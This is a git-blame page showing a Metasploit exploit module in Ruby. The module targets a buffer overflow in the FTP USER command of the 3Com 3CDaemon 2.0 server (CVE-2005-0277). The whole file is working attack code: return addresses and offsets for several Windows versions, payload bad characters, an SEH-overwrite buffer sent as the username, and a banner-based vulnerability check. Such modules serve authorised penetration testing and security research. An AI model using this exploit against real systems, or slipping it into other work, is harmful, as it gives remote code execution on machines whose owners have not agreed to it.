Files
metasploit-gs/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

128 lines
3.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = AverageRanking
2005-11-24 02:58:58 +00:00
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Seh
2005-11-24 02:58:58 +00:00
def initialize(info = {})
super(update_info(info,
2005-11-24 03:46:53 +00:00
'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
2005-11-24 02:58:58 +00:00
'Description' => %q{
This module exploits a vulnerability in the 3Com 3CDaemon
2005-11-24 02:58:58 +00:00
FTP service. This package is being distributed from the 3Com
web site and is recommended in numerous support documents.
This module uses the USER command to trigger the overflow.
},
2012-03-23 13:52:18 +01:00
'Author' =>
2012-03-23 08:23:30 -05:00
[
2012-03-23 13:52:18 +01:00
'hdm', # Original author
'otr' # Windows XP SP3
2012-03-23 08:23:30 -05:00
],
2006-01-21 22:10:20 +00:00
'License' => MSF_LICENSE,
2005-11-24 02:58:58 +00:00
'References' =>
[
2009-05-12 19:03:25 +00:00
[ 'CVE', '2005-0277'],
[ 'OSVDB', '12810'],
[ 'OSVDB', '12811'],
2015-10-27 12:41:32 -05:00
[ 'BID', '12155']
2005-11-24 02:58:58 +00:00
],
2012-03-23 13:52:18 +01:00
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'target' => 0
},
2005-11-24 02:58:58 +00:00
'Privileged' => false,
'Payload' =>
{
2005-11-24 17:41:32 +00:00
'Space' => 674,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
2005-11-24 02:58:58 +00:00
'StackAdjustment' => -3500,
'Compat' =>
{
'ConnectionType' => "-find"
}
},
'Platform' => %w{ win },
'Targets' =>
2005-11-24 02:58:58 +00:00
[
[
2005-11-24 17:41:32 +00:00
'Windows 2000 English', # Tested OK - hdm 11/24/2005
2005-11-24 02:58:58 +00:00
{
'Platform' => 'win',
'Ret' => 0x75022ac4, # ws2help.dll
2012-03-23 13:52:18 +01:00
'Offset' => 229,
2005-11-24 02:58:58 +00:00
},
2005-11-24 03:16:10 +00:00
],
[
2005-11-24 02:58:58 +00:00
'Windows XP English SP0/SP1',
{
'Platform' => 'win',
'Ret' => 0x71aa32ad, # ws2help.dll
2012-03-23 13:52:18 +01:00
'Offset' => 229,
2005-11-24 02:58:58 +00:00
},
2005-11-24 03:16:10 +00:00
],
[
2005-11-24 02:58:58 +00:00
'Windows NT 4.0 SP4/SP5/SP6',
{
'Platform' => 'win',
'Ret' => 0x77681799, # ws2help.dll
2012-03-23 13:52:18 +01:00
'Offset' => 229,
},
2005-11-24 02:58:58 +00:00
],
[
'Windows 2000 Pro SP4 French',
{
'Platform' => 'win',
'Ret' => 0x775F29D0,
2012-03-23 13:52:18 +01:00
'Offset' => 229,
},
],
[
'Windows XP English SP3',
{
'Platform' => 'win',
'Ret' => 0x7CBD41FB, # 7CBD41FB JMP ESP shell32.data SP3
#'Ret' => 0x775C2C1F, # 775C2C1F JMP ESP shell32.data SP1
'Offset' => 245,
},
2007-12-31 16:57:13 +00:00
],
2005-11-24 02:58:58 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-01-04'))
2005-11-24 02:58:58 +00:00
end
def check
connect
disconnect
2005-11-24 02:58:58 +00:00
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Appears
end
2005-11-24 17:41:32 +00:00
return Exploit::CheckCode::Safe
2005-11-24 02:58:58 +00:00
end
def exploit
connect
2005-11-24 02:58:58 +00:00
print_status("Trying target #{target.name}...")
2005-11-24 03:48:06 +00:00
2012-03-23 13:52:18 +01:00
if (target == targets[4])
buf = rand_text_english(target['Offset'], payload_badchars)
buf << [ target['Ret'] ].pack('V') * 2
buf << payload.encoded
else
2012-03-23 08:23:30 -05:00
buf = rand_text_english(2048, payload_badchars)
seh = generate_seh_payload(target.ret)
2012-03-23 13:52:18 +01:00
buf[target['Offset'], seh.length] = seh
end
2005-11-24 19:28:47 +00:00
send_cmd( ['USER', buf] , false )
2005-11-24 02:58:58 +00:00
handler
disconnect
2005-11-24 02:58:58 +00:00
end
2009-05-12 19:03:25 +00:00
end